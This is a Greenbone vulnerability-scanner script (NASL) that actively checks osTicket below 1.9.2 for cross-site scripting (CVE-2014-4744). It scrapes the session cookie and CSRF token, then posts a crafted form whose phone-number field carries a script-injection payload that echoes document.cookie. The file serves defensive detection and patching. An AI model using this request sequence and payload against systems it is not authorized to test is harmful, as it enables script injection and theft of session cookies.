osTicket < 1.9.2 Multiple XSS Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:osticket:osticket";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804823");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2014-08-26 13:09:40 +0530 (Tue, 26 Aug 2014)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2014-4744");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("osTicket < 1.9.2 Multiple XSS Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("osticket_http_detect.nasl");
  script_mandatory_keys("osticket/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"osTicket is prone to multiple cross-site scripting (XSS)
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"insight", value:"Multiple flaws exist as input passed via 'Phone Number' POST
  parameter to the 'open.php' script, 'Phone Number', 'passwd1', 'passwd2' POST parameters to
  'account.php' script, and 'do' parameter to 'account.php' script is not validated before
  returning it to users.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attacker to execute
  arbitrary script code in a user's browser session within the trust relationship between their
  browser and the server.");

  script_tag(name:"affected", value:"osTicket before version 1.9.2.");

  script_tag(name:"solution", value:"Update to version 1.9.2 or later.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/68500");
  script_xref(name:"URL", value:"https://www.netsparker.com/critical-xss-vulnerabilities-in-osticket/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if (dir == "/")
  dir = "";

host = http_host_name(port:port);

req = http_get(item:string(dir, "/upload/open.php"), port:port);
res = http_keepalive_send_recv(port:port, data:req);

if (res && "powered by osTicket<" >< res) {

  cookie = eregmatch(pattern:"Set-Cookie: OSTSESSID=([0-9a-z]*);", string:res);
  if (!cookie[1])
    exit(0);

  csrf_token = eregmatch(pattern:'csrf_token" content="([0-9a-z]*)"', string:res);
  if (!csrf_token[1])
    exit(0);

  email_id = eregmatch(pattern:'<label for="([0-9a-z]*)" class="required".*Email Address:', string:res);
  if (!email_id[1])
    exit(0);

  res = ereg_replace(pattern:'.*Email Address:', string:res, replace: "Email Address:");

  full_name = eregmatch(pattern: 'Email Address:.*<label for="([0-9a-z]*)" class="required".*Full Name:', string:res);
  if (!full_name[1])
    exit(0);

  res = ereg_replace(pattern:'.*Full Name:', string:res, replace: "Full Name:");

  phone_no = eregmatch(pattern:'Full Name:.*<label for="([0-9a-z]*)" class="".*Phone Number:', string:res);
  if (!phone_no[1])
    exit(0);

  res = ereg_replace(pattern:'.*Phone Number:', string:res, replace: "Phone Number:");

  ext = eregmatch(pattern:'Ext:.*<input type="text" name="([0-9a-z]*)-ext"', string:res);
  if (!ext[1])
    exit(0);

  res = ereg_replace(pattern:'.*-ext', string:res, replace: "-ext");

  issue = eregmatch(pattern:'<label for="([0-9a-z]*)" class="required".*Issue Summary:', string:res);
  if (!issue[1])
    exit(0);

  postData = string('-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="__CSRFToken__"\r\n\r\n', csrf_token[1], '\r\n',
                    '-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="a"\r\n',
                    '\r\nopen\r\n',
                    '-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="topicId"\r\n',
                    '\r\n\r\n',
                    '-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="', email_id[1], '"\r\n',
                    '\r\n\r\n',
                    '-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="', full_name[1], '"\r\n',
                    '\r\n\r\n',
                    '-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="', phone_no[1], '"\r\n',
                    '\r\n',
                    '"--></style></script><script>alert(document.cookie)</script>\r\n',
                    '-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="', ext[1], '-ext"\r\n',
                    '\r\n\r\n',
                    '-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="', issue[1], '"\r\n',
                    '\r\n\r\n',
                    '-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="message"\r\n',
                    '\r\n\r\n',
                    '-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="attachments[]"; filename=""\r\n',
                    'Content-Type: application/octet-stream\r\n',
                    '\r\n\r\n',
                    '-----------------------------10379450071263312649808858377\r\n',
                    'Content-Disposition: form-data; name="draft_id"\r\n',
                    '\r\n4\r\n',
                    '-----------------------------10379450071263312649808858377--\r\n');

  url = dir + "/upload/open.php";
  req  = string("POST ", url, " HTTP/1.1\r\n",
                "Host: ", host, "\r\n",
                "Cookie: OSTSESSID=", cookie[1], "\r\n",
                "Content-Type: multipart/form-data;boundary=---------------------------10379450071263312649808858377\r\n",
                "Content-Length: ", strlen(postData), "\r\n\r\n",
                "\r\n", postData, "\r\n");
  res = http_keepalive_send_recv(port:port, data:req );
  if (res =~ "^HTTP/1\.[01] 200" && "></script><script>alert(document.cookie)</script>" >< res && "osTicket<" >< res) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);